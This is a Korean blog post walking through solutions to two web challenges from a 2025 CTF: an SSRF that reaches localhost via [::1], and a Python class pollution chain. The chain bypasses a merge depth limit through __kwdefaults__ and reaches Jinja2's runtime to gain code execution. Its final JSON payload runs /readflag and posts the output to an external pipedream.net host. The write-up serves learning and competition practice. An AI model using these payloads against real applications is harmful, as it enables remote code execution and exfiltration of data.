CTF & Wargame(CTF's)

Full Weak Engineer CTF 2025 Writeup(web)

KWAKBUMJUN 2025. 9. 10. 20:59

AED

이 문제는 너무 쉬웠어서 대충 설명하자면, 

ssrf가 터지는 것을 획인했고,

/fetch?url=http://[::1]:4000/toggle localhost를 우회해서 해당 Url에 접속하면 pwned가 true가 되어서 flag를 획득할 수 있었다.

 

Personal Website

guest/guest로 계정 생성 후 로그인 하면 위와 같은 화면이 나온다. 그리고 Edit config 버튼을 눌러서 /config 엔드포인트에 접근하면

이런 화면으로 넘어가고, mode를 dark로 바꾸면 index page가 어둡게 바뀐다.

# {"config":{"mode":"dark"}} 전달 했을 때의 엔드포인트
@app.post("/api/config")
@login_required
def config_api():
    try:
        if not request.json:
            raise Exception("Input is empty")
            # json 본문이 비어 있다면 -> "Input is empty" 출력
        User.merge_info(request.json, g.get("user"))
        # user 파일의 merge_info 함수 호출
        # 여기서 취약점 발생할 것 같음
        return jsonify({"success": "Config updated"})
    except Exception as e:
        return jsonify({"error": str(e)})
@staticmethod
    def merge_info(src, user, *, depth=0):
        if depth > 3:
            raise Exception("Reached maximum depth")
        for k, v in src.items():
            if hasattr(user, "__getitem__"):
                if user.get(k) and type(v) == dict:
                    User.merge_info(v, user.get(k),depth=depth+1)
                else:
                    user[k] = v
            elif hasattr(user, k) and type(v) == dict:
                User.merge_info(v, getattr(user, k),depth=depth+1)
            else:
                setattr(user, k, v)

config_api() 함수에서 json 데이터를 받아서 성공하면 "success"를 응답으로 준다. 하지만 그 전에 위와 같이 merge_info 함수를 사용해서 json을 merge 하는 과정을 거친다. 

 

json을 merge하는 로직을 보고 나는 바로 js에 존재하는 prototype pollution 취약점을 떠올렸다. 하지만 해당 문제는 파이썬으로 작성된 문제이기 때문에 파이썬에도 이와 비슷한 취약점이 있나 하고 찾아보았더니

https://www.offensiveweb.com/docs/programming/python/class-pollution/

 

Class Pollution

Python Class Pollution

www.offensiveweb.com

이런 글을 확인할 수 있었다. 파이썬에는 prototype pollution이 아니라 Class Pollution이라는 취약점이 존재한다.


Class Pollution 정리

해당 취약점은 공격자가 class variables를 변경할 수 있는 취약점이라고 한다. 이를 통해 file access 또는 rce가 가능하다.

간단한 원리 설명

class User:
    role = "guest"

a = User()
b = User()

print(a.role, b.role)  # guest guest

User.role = "admin"    # 클래스 속성 오염

print(a.role, b.role)  # admin admin (둘 다 동시에 오염됨)

이런 코드가 있다고 가정하자. User 클래스에서는 role을 "guest"로 지정했기 때문에 정상적인 출력이라면 둘다 role이 guest로 나와야 한다. 하지만 User.role="admin"처럼 클래스 속성을 오염시키면 a와b가 둘다 같은 클래스를 참조하고 있기 때문에 admin admin으로 오염된다.

-> 한 번 클래스가 오염되면, 모든 인스턴스가 같이 오염됨.

 

보통 아래와 같은 merge와 같은 기능을 구현한다. 아래의 코드에서 class pollution이 터지는 과정을 자세하게 설명해보겠다.

class User:
    role = "guest"

def merge(src, dst):
    for k, v in src.items():
        if isinstance(v, dict):
            merge(v, getattr(dst, k, {}))   # 속성 따라 내려감
        else:
            setattr(dst, k, v)              # 속성 주입

u = User()

payload = {"__class__": {"role": "polluted!"}}
merge(payload, u)  # merge가 u.__class__를 따라가서 User.role을 수정

print(u.role)     # polluted!
print(User.role)  # polluted! (모든 인스턴스 영향)

 

 

1. merge(payload, u) 호출

-> src = {"__class__":{"role":"polluted!"}}, dst = u

 

2. 루프 1회차 : k="__class__", v="{"role":"polluted!"}"

-> isinstance(v, dict) -> 참

-> 그러면 merge(v, getattr(dst, k, {})) 실행

 

3. getattr(u, "__class__", {}) 평가

-> 파이썬에서 모든 인스턴스는 자기 클래스 객체를 __class__ 속성으로 가지고 있다.

-> 따라서, getattr(u, "__class__", {})는 User 클래스 객체를 반환한다.

 

4. 재귀 진입 : merge("{"role":"polluted!"}", User)

-> 이제 dst가 인스턴스가 아니라 클래스 객체(User)이다. 

 

5. 두번째 루프 : k="role", v="polluted!"

-> isinstance(v, dict) -> 거짓

-> 그러므로 setattr(User, "role", "polluted!") 실행

 

{"__init__":{"__globals__":{"__loader__": {"__init__":{"__globals__":{"sys":{"modules": {"jinja2":{"runtime":{"exported":["*;__import__('os').system('sleep 7');#"]}}}}}}}}}}

이런 deep merge를 사용하면 타고타고 들어가서 다양한 rce를 일으킬수도 있다.


 

 

방금 위에서 설명한 것과 같은 깊은 체인을 써서 rce를 시도했지만 코드를 보니까 deep merge를 방지하기 위해 merge() 함수에 if depth > 3: -> 이런식으로 depth에 대한 제한을 두었다.

 

https://blog.abdulrah33m.com/prototype-pollution-in-python/

 

Prototype Pollution in Python – Abdulrah33m's Blog

> TL;DR The main objective of this research is to prove the possibility of having a variant of Prototype Pollution in other programming languages, including those that are class-based by showing Class Pollution in Python. ⚠️ Warning: This is a topic th

blog.abdulrah33m.com

 

하지만 위의 글에 의하면 우리는 depth 제한을 우회할 수 있다.

바로, __kwdefaults__ 함수를 사용하는 것이다. 해당 함수를 사용하면 특정 함수의 매개변수를 제어할 수 있다. 따라서 merge함수에는 매개변수로 depth가 있으니, __kwdefaults__를 사용하여 depth를 아주 낮은 값으로 변조시키면 depth 제한을 우회할 수 있을 것이다.

 

{
    "__class__": {
      "merge_info": {
        "__kwdefaults__": { "depth": -1000000000 }
      }
    }
  }

먼저, 위와 같은 페이로드를 사용하여 merge 함수부터 오염시킨다. 그리고

{
    "__init__": {
      "__globals__": {
        "__loader__": {
          "__init__": {
            "__globals__": {
              "sys": {
                "modules": {
                  "jinja2": {
                    "runtime": {
                      "exported": [
                        "*;import urllib.request,urllib.parse,subprocess,base64;f=base64.b64encode(subprocess.check_output([\"/readflag\"])).decode();urllib.request.urlopen(\"https://xxxxxxxx.m.pipedream.net\",data=urllib.parse.urlencode({\"f\":f}).encode());#"
                      ]
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }

 

 

이 페이로드를 사용하여 RCE를 터트리면 flag를 획득할 수 있다. 

 

 

참고자료

https://blog.abdulrah33m.com/prototype-pollution-in-python/

 

Prototype Pollution in Python – Abdulrah33m's Blog

> TL;DR The main objective of this research is to prove the possibility of having a variant of Prototype Pollution in other programming languages, including those that are class-based by showing Class Pollution in Python. ⚠️ Warning: This is a topic th

blog.abdulrah33m.com

https://www.offensiveweb.com/docs/programming/python/class-pollution/

 

Class Pollution

Python Class Pollution

www.offensiveweb.com

https://github.com/pallets/jinja/blob/3.1.2/src/jinja2/compiler.py#L839

 

jinja/src/jinja2/compiler.py at 3.1.2 · pallets/jinja

A very fast and expressive template engine. Contribute to pallets/jinja development by creating an account on GitHub.

github.com

 

'CTF & Wargame(CTF's)' 카테고리의 다른 글

SunshineCTF writeup  (0) 2025.10.17
CCE 예선 - Photo Editing(web) 라이트업  (0) 2025.10.17
WatCTF writeup(web)  (0) 2025.09.11
제 31회 해킹캠프 CTF write up  (0) 2025.09.10
scriptCTF Wizard Gallery writeup  (0) 2025.08.18